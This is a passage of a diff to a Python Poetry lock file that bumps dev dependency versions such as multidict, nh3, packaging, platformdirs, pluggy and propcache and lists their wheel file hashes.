"multidict-6.6.4-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:8c91cdb30809a96d9ecf442ec9bc45e8cfaa0f7f8bdf534e082c2443a196727e"}, + {file = "multidict-6.6.4-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:1a0ccbfe93ca114c5d65a2471d52d8829e56d467c97b0e341cf5ee45410033b3"}, + {file = "multidict-6.6.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:55624b3f321d84c403cb7d8e6e982f41ae233d85f85db54ba6286f7295dc8a9c"}, + {file = "multidict-6.6.4-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:4a1fb393a2c9d202cb766c76208bd7945bc194eba8ac920ce98c6e458f0b524b"}, + {file = "multidict-6.6.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:43868297a5759a845fa3a483fb4392973a95fb1de891605a3728130c52b8f40f"}, + {file = "multidict-6.6.4-cp311-cp311-win32.whl", hash = "sha256:ed3b94c5e362a8a84d69642dbeac615452e8af9b8eb825b7bc9f31a53a1051e2"}, + {file = "multidict-6.6.4-cp311-cp311-win_amd64.whl", hash = "sha256:d8c112f7a90d8ca5d20213aa41eac690bb50a76da153e3afb3886418e61cb22e"}, + {file = "multidict-6.6.4-cp311-cp311-win_arm64.whl", hash = "sha256:3bb0eae408fa1996d87247ca0d6a57b7fc1dcf83e8a5c47ab82c558c250d4adf"}, + {file = "multidict-6.6.4-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0ffb87be160942d56d7b87b0fdf098e81ed565add09eaa1294268c7f3caac4c8"}, + {file = "multidict-6.6.4-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d191de6cbab2aff5de6c5723101705fd044b3e4c7cfd587a1929b5028b9714b3"}, + {file = "multidict-6.6.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:38a0956dd92d918ad5feff3db8fcb4a5eb7dba114da917e1a88475619781b57b"}, + {file = "multidict-6.6.4-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:6865f6d3b7900ae020b495d599fcf3765653bc927951c1abb959017f81ae8287"}, + {file = "multidict-6.6.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0a2088c126b6f72db6c9212ad827d0ba088c01d951cee25e758c450da732c138"}, + {file = "multidict-6.6.4-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:0f37bed7319b848097085d7d48116f545985db988e2256b2e6f00563a3416ee6"}, + {file = "multidict-6.6.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:01368e3c94032ba6ca0b78e7ccb099643466cf24f8dc8eefcfdc0571d56e58f9"}, + {file = "multidict-6.6.4-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:8fe323540c255db0bffee79ad7f048c909f2ab0edb87a597e1c17da6a54e493c"}, + {file = "multidict-6.6.4-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b8eb3025f17b0a4c3cd08cda49acf312a19ad6e8a4edd9dbd591e6506d999402"}, + {file = "multidict-6.6.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:bbc14f0365534d35a06970d6a83478b249752e922d662dc24d489af1aa0d1be7"}, + {file = "multidict-6.6.4-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:75aa52fba2d96bf972e85451b99d8e19cc37ce26fd016f6d4aa60da9ab2b005f"}, + {file = "multidict-6.6.4-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:4fefd4a815e362d4f011919d97d7b4a1e566f1dde83dc4ad8cfb5b41de1df68d"}, + {file = "multidict-6.6.4-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:db9801fe021f59a5b375ab778973127ca0ac52429a26e2fd86aa9508f4d26eb7"}, + {file = "multidict-6.6.4-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:a650629970fa21ac1fb06ba25dabfc5b8a2054fcbf6ae97c758aa956b8dba802"}, + {file = "multidict-6.6.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:452ff5da78d4720d7516a3a2abd804957532dd69296cb77319c193e3ffb87e24"}, + {file = "multidict-6.6.4-cp312-cp312-win32.whl", hash = "sha256:8c2fcb12136530ed19572bbba61b407f655e3953ba669b96a35036a11a485793"}, + {file = "multidict-6.6.4-cp312-cp312-win_amd64.whl", hash = "sha256:047d9425860a8c9544fed1b9584f0c8bcd31bcde9568b047c5e567a1025ecd6e"}, + {file = "multidict-6.6.4-cp312-cp312-win_arm64.whl", hash = "sha256:14754eb72feaa1e8ae528468f24250dd997b8e2188c3d2f593f9eba259e4b364"}, + {file = "multidict-6.6.4-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:f46a6e8597f9bd71b31cc708195d42b634c8527fecbcf93febf1052cacc1f16e"}, + {file = "multidict-6.6.4-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:22e38b2bc176c5eb9c0a0e379f9d188ae4cd8b28c0f53b52bce7ab0a9e534657"}, + {file = "multidict-6.6.4-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:5df8afd26f162da59e218ac0eefaa01b01b2e6cd606cffa46608f699539246da"}, + {file = "multidict-6.6.4-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:49517449b58d043023720aa58e62b2f74ce9b28f740a0b5d33971149553d72aa"}, + {file = "multidict-6.6.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ae9408439537c5afdca05edd128a63f56a62680f4b3c234301055d7a2000220f"}, + {file = "multidict-6.6.4-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:87a32d20759dc52a9e850fe1061b6e41ab28e2998d44168a8a341b99ded1dba0"}, + {file = "multidict-6.6.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:52e3c8d43cdfff587ceedce9deb25e6ae77daba560b626e97a56ddcad3756879"}, + {file = "multidict-6.6.4-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ad8850921d3a8d8ff6fbef790e773cecfc260bbfa0566998980d3fa8f520bc4a"}, + {file = "multidict-6.6.4-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:497a2954adc25c08daff36f795077f63ad33e13f19bfff7736e72c785391534f"}, + {file = "multidict-6.6.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:024ce601f92d780ca1617ad4be5ac15b501cc2414970ffa2bb2bbc2bd5a68fa5"}, + {file = "multidict-6.6.4-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:a693fc5ed9bdd1c9e898013e0da4dcc640de7963a371c0bd458e50e046bf6438"}, + {file = "multidict-6.6.4-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:190766dac95aab54cae5b152a56520fd99298f32a1266d66d27fdd1b5ac00f4e"}, + {file = "multidict-6.6.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:34d8f2a5ffdceab9dcd97c7a016deb2308531d5f0fced2bb0c9e1df45b3363d7"}, + {file = "multidict-6.6.4-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:59e8d40ab1f5a8597abcef00d04845155a5693b5da00d2c93dbe88f2050f2812"}, + {file = "multidict-6.6.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:467fe64138cfac771f0e949b938c2e1ada2b5af22f39692aa9258715e9ea613a"}, + {file = "multidict-6.6.4-cp313-cp313-win32.whl", hash = "sha256:14616a30fe6d0a48d0a48d1a633ab3b8bec4cf293aac65f32ed116f620adfd69"}, + {file = "multidict-6.6.4-cp313-cp313-win_amd64.whl", hash = "sha256:40cd05eaeb39e2bc8939451f033e57feaa2ac99e07dbca8afe2be450a4a3b6cf"}, + {file = "multidict-6.6.4-cp313-cp313-win_arm64.whl", hash = "sha256:f6eb37d511bfae9e13e82cb4d1af36b91150466f24d9b2b8a9785816deb16605"}, + {file = "multidict-6.6.4-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:6c84378acd4f37d1b507dfa0d459b449e2321b3ba5f2338f9b085cf7a7ba95eb"}, + {file = "multidict-6.6.4-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:0e0558693063c75f3d952abf645c78f3c5dfdd825a41d8c4d8156fc0b0da6e7e"}, + {file = "multidict-6.6.4-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3f8e2384cb83ebd23fd07e9eada8ba64afc4c759cd94817433ab8c81ee4b403f"}, + {file = "multidict-6.6.4-cp313-cp313t-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:f996b87b420995a9174b2a7c1a8daf7db4750be6848b03eb5e639674f7963773"}, + {file = "multidict-6.6.4-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cc356250cffd6e78416cf5b40dc6a74f1edf3be8e834cf8862d9ed5265cf9b0e"}, + {file = "multidict-6.6.4-cp313-cp313t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:dadf95aa862714ea468a49ad1e09fe00fcc9ec67d122f6596a8d40caf6cec7d0"}, + {file = "multidict-6.6.4-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:7dd57515bebffd8ebd714d101d4c434063322e4fe24042e90ced41f18b6d3395"}, + {file = "multidict-6.6.4-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:967af5f238ebc2eb1da4e77af5492219fbd9b4b812347da39a7b5f5c72c0fa45"}, + {file = "multidict-6.6.4-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2a4c6875c37aae9794308ec43e3530e4aa0d36579ce38d89979bbf89582002bb"}, + {file = "multidict-6.6.4-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:7f683a551e92bdb7fac545b9c6f9fa2aebdeefa61d607510b3533286fcab67f5"}, + {file = "multidict-6.6.4-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:3ba5aaf600edaf2a868a391779f7a85d93bed147854925f34edd24cc70a3e141"}, + {file = "multidict-6.6.4-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:580b643b7fd2c295d83cad90d78419081f53fd532d1f1eb67ceb7060f61cff0d"}, + {file = "multidict-6.6.4-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:37b7187197da6af3ee0b044dbc9625afd0c885f2800815b228a0e70f9a7f473d"}, + {file = "multidict-6.6.4-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:e1b93790ed0bc26feb72e2f08299691ceb6da5e9e14a0d13cc74f1869af327a0"}, + {file = "multidict-6.6.4-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:a506a77ddee1efcca81ecbeae27ade3e09cdf21a8ae854d766c2bb4f14053f92"}, + {file = "multidict-6.6.4-cp313-cp313t-win32.whl", hash = "sha256:f93b2b2279883d1d0a9e1bd01f312d6fc315c5e4c1f09e112e4736e2f650bc4e"}, + {file = "multidict-6.6.4-cp313-cp313t-win_amd64.whl", hash = "sha256:6d46a180acdf6e87cc41dc15d8f5c2986e1e8739dc25dbb7dac826731ef381a4"}, + {file = "multidict-6.6.4-cp313-cp313t-win_arm64.whl", hash = "sha256:756989334015e3335d087a27331659820d53ba432befdef6a718398b0a8493ad"}, + {file = "multidict-6.6.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:af7618b591bae552b40dbb6f93f5518328a949dac626ee75927bba1ecdeea9f4"}, + {file = "multidict-6.6.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:b6819f83aef06f560cb15482d619d0e623ce9bf155115150a85ab11b8342a665"}, + {file = "multidict-6.6.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:4d09384e75788861e046330308e7af54dd306aaf20eb760eb1d0de26b2bea2cb"}, + {file = "multidict-6.6.4-cp39-cp39-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:a59c63061f1a07b861c004e53869eb1211ffd1a4acbca330e3322efa6dd02978"}, + {file = "multidict-6.6.4-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:350f6b0fe1ced61e778037fdc7613f4051c8baf64b1ee19371b42a3acdb016a0"}, + {file = "multidict-6.6.4-cp39-cp39-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:0c5cbac6b55ad69cb6aa17ee9343dfbba903118fd530348c330211dc7aa756d1"}, + {file = "multidict-6.6.4-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:630f70c32b8066ddfd920350bc236225814ad94dfa493fe1910ee17fe4365cbb"}, + {file = "multidict-6.6.4-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f8d4916a81697faec6cb724a273bd5457e4c6c43d82b29f9dc02c5542fd21fc9"}, + {file = "multidict-6.6.4-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8e42332cf8276bb7645d310cdecca93a16920256a5b01bebf747365f86a1675b"}, + {file = "multidict-6.6.4-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:f3be27440f7644ab9a13a6fc86f09cdd90b347c3c5e30c6d6d860de822d7cb53"}, + {file = "multidict-6.6.4-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:21f216669109e02ef3e2415ede07f4f8987f00de8cdfa0cc0b3440d42534f9f0"}, + {file = "multidict-6.6.4-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:d9890d68c45d1aeac5178ded1d1cccf3bc8d7accf1f976f79bf63099fb16e4bd"}, + {file = "multidict-6.6.4-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:edfdcae97cdc5d1a89477c436b61f472c4d40971774ac4729c613b4b133163cb"}, + {file = "multidict-6.6.4-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:0b2e886624be5773e69cf32bcb8534aecdeb38943520b240fed3d5596a430f2f"}, + {file = "multidict-6.6.4-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:be5bf4b3224948032a845d12ab0f69f208293742df96dc14c4ff9b09e508fc17"}, + {file = "multidict-6.6.4-cp39-cp39-win32.whl", hash = "sha256:10a68a9191f284fe9d501fef4efe93226e74df92ce7a24e301371293bd4918ae"}, + {file = "multidict-6.6.4-cp39-cp39-win_amd64.whl", hash = "sha256:ee25f82f53262f9ac93bd7e58e47ea1bdcc3393cef815847e397cba17e284210"}, + {file = "multidict-6.6.4-cp39-cp39-win_arm64.whl", hash = "sha256:f9867e55590e0855bcec60d4f9a092b69476db64573c9fe17e92b0c50614c16a"}, + {file = "multidict-6.6.4-py3-none-any.whl", hash = "sha256:27d8f8e125c07cb954e54d75d04905a9bba8a439c1d84aca94949d4d03d8601c"}, + {file = "multidict-6.6.4.tar.gz", hash = "sha256:d2d4e4787672911b48350df02ed3fa3fffdc2f2e8ca06dd6afdf34189b76a9dd"}, +] + +[package.dependencies] +typing-extensions = {version = ">=4.1.0", markers = "python_version < \"3.11\""} [[package]] name = "mypy-extensions" -version = "1.0.0" +version = "1.1.0" description = "Type system extensions for programs checked with the mypy type checker." -category = "dev" optional = false -python-versions = ">=3.5" +python-versions = ">=3.8" +groups = ["dev"] +files = [ + {file = "mypy_extensions-1.1.0-py3-none-any.whl", hash = "sha256:1be4cccdb0f2482337c4743e60421de3a356cd97508abadd57d47403e94f5505"}, + {file = "mypy_extensions-1.1.0.tar.gz", hash = "sha256:52e68efc3284861e772bbcd66823fde5ae21fd2fdb51c62a211403730b916558"}, +] + +[[package]] +name = "nh3" +version = "0.3.0" +description = "Python binding to Ammonia HTML sanitizer Rust crate" +optional = false +python-versions = ">=3.8" +groups = ["dev"] +files = [ + {file = "nh3-0.3.0-cp313-cp313t-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:a537ece1bf513e5a88d8cff8a872e12fe8d0f42ef71dd15a5e7520fecd191bbb"}, + {file = "nh3-0.3.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7c915060a2c8131bef6a29f78debc29ba40859b6dbe2362ef9e5fd44f11487c2"}, + {file = "nh3-0.3.0-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:ba0caa8aa184196daa6e574d997a33867d6d10234018012d35f86d46024a2a95"}, + {file = "nh3-0.3.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:80fe20171c6da69c7978ecba33b638e951b85fb92059259edd285ff108b82a6d"}, + {file = "nh3-0.3.0-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:e90883f9f85288f423c77b3f5a6f4486375636f25f793165112679a7b6363b35"}, + {file = "nh3-0.3.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:0649464ac8eee018644aacbc103874ccbfac80e3035643c3acaab4287e36e7f5"}, + {file = "nh3-0.3.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:1adeb1062a1c2974bc75b8d1ecb014c5fd4daf2df646bbe2831f7c23659793f9"}, + {file = "nh3-0.3.0-cp313-cp313t-win32.whl", hash = "sha256:7275fdffaab10cc5801bf026e3c089d8de40a997afc9e41b981f7ac48c5aa7d5"}, + {file = "nh3-0.3.0-cp313-cp313t-win_amd64.whl", hash = "sha256:423201bbdf3164a9e09aa01e540adbb94c9962cc177d5b1cbb385f5e1e79216e"}, + {file = "nh3-0.3.0-cp313-cp313t-win_arm64.whl", hash = "sha256:16f8670201f7e8e0e05ed1a590eb84bfa51b01a69dd5caf1d3ea57733de6a52f"}, + {file = "nh3-0.3.0-cp38-abi3-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:ec6cfdd2e0399cb79ba4dcffb2332b94d9696c52272ff9d48a630c5dca5e325a"}, + {file = "nh3-0.3.0-cp38-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ce5e7185599f89b0e391e2f29cc12dc2e206167380cea49b33beda4891be2fe1"}, + {file = "nh3-0.3.0-cp38-abi3-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:389d93d59b8214d51c400fb5b07866c2a4f79e4e14b071ad66c92184fec3a392"}, + {file = "nh3-0.3.0-cp38-abi3-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:e9e6a7e4d38f7e8dda9edd1433af5170c597336c1a74b4693c5cb75ab2b30f2a"}, + {file = "nh3-0.3.0-cp38-abi3-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7852f038a054e0096dac12b8141191e02e93e0b4608c4b993ec7d4ffafea4e49"}, + {file = "nh3-0.3.0-cp38-abi3-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:af5aa8127f62bbf03d68f67a956627b1bd0469703a35b3dad28d0c1195e6c7fb"}, + {file = "nh3-0.3.0-cp38-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f416c35efee3e6a6c9ab7716d9e57aa0a49981be915963a82697952cba1353e1"}, + {file = "nh3-0.3.0-cp38-abi3-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:37d3003d98dedca6cd762bf88f2e70b67f05100f6b949ffe540e189cc06887f9"}, + {file = "nh3-0.3.0-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:634e34e6162e0408e14fb61d5e69dbaea32f59e847cfcfa41b66100a6b796f62"}, + {file = "nh3-0.3.0-cp38-abi3-musllinux_1_2_armv7l.whl", hash = "sha256:b0612ccf5de8a480cf08f047b08f9d3fecc12e63d2ee91769cb19d7290614c23"}, + {file = "nh3-0.3.0-cp38-abi3-musllinux_1_2_i686.whl", hash = "sha256:c7a32a7f0d89f7d30cb8f4a84bdbd56d1eb88b78a2434534f62c71dac538c450"}, + {file = "nh3-0.3.0-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:3f1b4f8a264a0c86ea01da0d0c390fe295ea0bcacc52c2103aca286f6884f518"}, + {file = "nh3-0.3.0-cp38-abi3-win32.whl", hash = "sha256:6d68fa277b4a3cf04e5c4b84dd0c6149ff7d56c12b3e3fab304c525b850f613d"}, + {file = "nh3-0.3.0-cp38-abi3-win_amd64.whl", hash = "sha256:bae63772408fd63ad836ec569a7c8f444dd32863d0c67f6e0b25ebbd606afa95"}, + {file = "nh3-0.3.0-cp38-abi3-win_arm64.whl", hash = "sha256:d97d3efd61404af7e5721a0e74d81cdbfc6e5f97e11e731bb6d090e30a7b62b2"}, + {file = "nh3-0.3.0.tar.gz", hash = "sha256:d8ba24cb31525492ea71b6aac11a4adac91d828aadeff7c4586541bf5dc34d2f"}, +] [[package]] name = "packaging" -version = "23.2" +version = "25.0" description = "Core utilities for Python packages" -category = "dev" optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" +groups = ["dev"] +files = [ + {file = "packaging-25.0-py3-none-any.whl", hash = "sha256:29572ef2b1f17581046b3a2227d5c611fb25ec70ca1ba8554b24b0e69331a484"}, + {file = "packaging-25.0.tar.gz", hash = "sha256:d443872c98d677bf60f6a1f2f8c1cb748e8fe762d2bf9d3148b5599295b0fc4f"}, +] [[package]] name = "pathspec" -version = "0.11.2" +version = "0.12.1" description = "Utility library for gitignore style pattern matching of file paths." -category = "dev" optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" +groups = ["dev"] +files = [ + {file = "pathspec-0.12.1-py3-none-any.whl", hash = "sha256:a0d503e138a4c123b27490a4f7beda6a01c6f288df0e4a8b79c7eb0dc7b4cc08"}, + {file = "pathspec-0.12.1.tar.gz", hash = "sha256:a482d51503a1ab33b1c67a6c3813a26953dbdc71c31dacaef9a838c4e29f5712"}, +] [[package]] name = "pkginfo" -version = "1.9.6" +version = "1.12.1.2" description = "Query metadata from sdists / bdists / installed packages." -category = "dev" optional = false -python-versions = ">=3.6" +python-versions = ">=3.8" +groups = ["dev"] +files = [ + {file = "pkginfo-1.12.1.2-py3-none-any.whl", hash = "sha256:c783ac885519cab2c34927ccfa6bf64b5a704d7c69afaea583dd9b7afe969343"}, + {file = "pkginfo-1.12.1.2.tar.gz", hash = "sha256:5cd957824ac36f140260964eba3c6be6442a8359b8c48f4adf90210f33a04b7b"}, +] [package.extras] -testing = ["pytest", "pytest-cov"] +testing = ["pytest", "pytest-cov", "wheel"] [[package]] name = "platformdirs" -version = "4.0.0" -description = "A small Python package for determining appropriate platform-specific dirs, e.g. a \"user data dir\"." -category = "dev" +version = "4.4.0" +description = "A small Python package for determining appropriate platform-specific dirs, e.g. a `user data dir`." optional = false -python-versions = ">=3.7" - -[package.dependencies] -typing-extensions = {version = ">=4.7.1", markers = "python_version < \"3.8\""} +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "platformdirs-4.4.0-py3-none-any.whl", hash = "sha256:abd01743f24e5287cd7a5db3752faf1a2d65353f38ec26d98e25a6db65958c85"}, + {file = "platformdirs-4.4.0.tar.gz", hash = "sha256:ca753cf4d81dc309bc67b0ea38fd15dc97bc30ce419a7f58d13eb3bf14c4febf"}, +] [package.extras] -docs = ["furo (>=2023.7.26)", "proselint (>=0.13)", "sphinx (>=7.1.1)", "sphinx-autodoc-typehints (>=1.24)"] -test = ["appdirs (==1.4.4)", "covdefaults (>=2.3)", "pytest (>=7.4)", "pytest-cov (>=4.1)", "pytest-mock (>=3.11.1)"] +docs = ["furo (>=2024.8.6)", "proselint (>=0.14)", "sphinx (>=8.1.3)", "sphinx-autodoc-typehints (>=3)"] +test = ["appdirs (==1.4.4)", "covdefaults (>=2.3)", "pytest (>=8.3.4)", "pytest-cov (>=6)", "pytest-mock (>=3.14)"] +type = ["mypy (>=1.14.1)"] [[package]] name = "pluggy" -version = "1.2.0" +version = "1.6.0" description = "plugin and hook calling mechanisms for python" -category = "dev" optional = false -python-versions = ">=3.7" - -[package.dependencies] -importlib-metadata = {version = ">=0.12", markers = "python_version < \"3.8\""} +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746"}, + {file = "pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3"}, +] [package.extras] dev = ["pre-commit", "tox"] -testing = ["pytest", "pytest-benchmark"] +testing = ["coverage", "pytest", "pytest-benchmark"] + +[[package]] +name = "propcache" +version = "0.3.2" +description = "Accelerated property cache" +optional = false +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "propcache-0.3.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:22d9962a358aedbb7a2e36187ff273adeaab9743373a272976d2e348d08c7770"}, + {file = "propcache-0.3.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0d0fda578d1dc3f77b6b5a5dce3b9ad69a8250a891760a548df850a5e8da87f3"}, + {file = "propcache-0.3.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:3def3da3ac3ce41562d85db655d18ebac740cb3fa4367f11a52b3da9d03a5cc3"}, + {file = "propcache-0.3.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9bec58347a5a6cebf239daba9bda37dffec5b8d2ce004d9fe4edef3d2815137e"}, + {file = "propcache-0.3.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:55ffda449a507e9fbd4aca1a7d9aa6753b07d6166140e5a18d2ac9bc49eac220"}, + {file = "propcache-0.3.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:64a67fb39229a8a8491dd42f864e5e263155e729c2e7ff723d6e25f596b1e8cb"}, + {file = "propcache-0.3.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9da1cf97b92b51253d5b68cf5a2b9e0dafca095e36b7f2da335e27dc6172a614"}, + {file = "propcache-0.3.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5f559e127134b07425134b4065be45b166183fdcb433cb6c24c8e4149056ad50"}, + {file = "propcache-0.3.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:aff2e4e06435d61f11a428360a932138d0ec288b0a31dd9bd78d200bd4a2b339"}, + {file = "propcache-0.3.2-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:4927842833830942a5d0a56e6f4839bc484785b8e1ce8d287359794818633ba0"}, + {file = "propcache-0.3.2-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:6107ddd08b02654a30fb8ad7a132021759d750a82578b94cd55ee2772b6ebea2"}, + {file = "propcache-0.3.2-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:70bd8b9cd6b519e12859c99f3fc9a93f375ebd22a50296c3a295028bea73b9e7"}, + {file = "propcache-0.3.2-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:2183111651d710d3097338dd1893fcf09c9f54e27ff1a8795495a16a469cc90b"}, + {file = "propcache-0.3.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:fb075ad271405dcad8e2a7ffc9a750a3bf70e533bd86e89f0603e607b93aa64c"}, + {file = "propcache-0.3.2-cp310-cp310-win32.whl", hash = "sha256:404d70768080d3d3bdb41d0771037da19d8340d50b08e104ca0e7f9ce55fce70"}, + {file = "propcache-0.3.2-cp310-cp310-win_amd64.whl", hash = "sha256:7435d766f978b4ede777002e6b3b6641dd229cd1da8d3d3106a45770365f9ad9"}, + {file = "propcache-0.3.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:0b8d2f607bd8f80ddc04088bc2a037fdd17884a6fcadc47a96e334d72f3717be"}, + {file = "propcache-0.3.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:06766d8f34733416e2e34f46fea488ad5d60726bb9481d3cddf89a6fa2d9603f"}, + {file = "propcache-0.3.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a2dc1f4a1df4fecf4e6f68013575ff4af84ef6f478fe5344317a65d38a8e6dc9"}, + {file = "propcache-0.3.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:be29c4f4810c5789cf10ddf6af80b041c724e629fa51e308a7a0fb19ed1ef7bf"}, + {file = "propcache-0.3.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:59d61f6970ecbd8ff2e9360304d5c8876a6abd4530cb752c06586849ac8a9dc9"}, + {file = 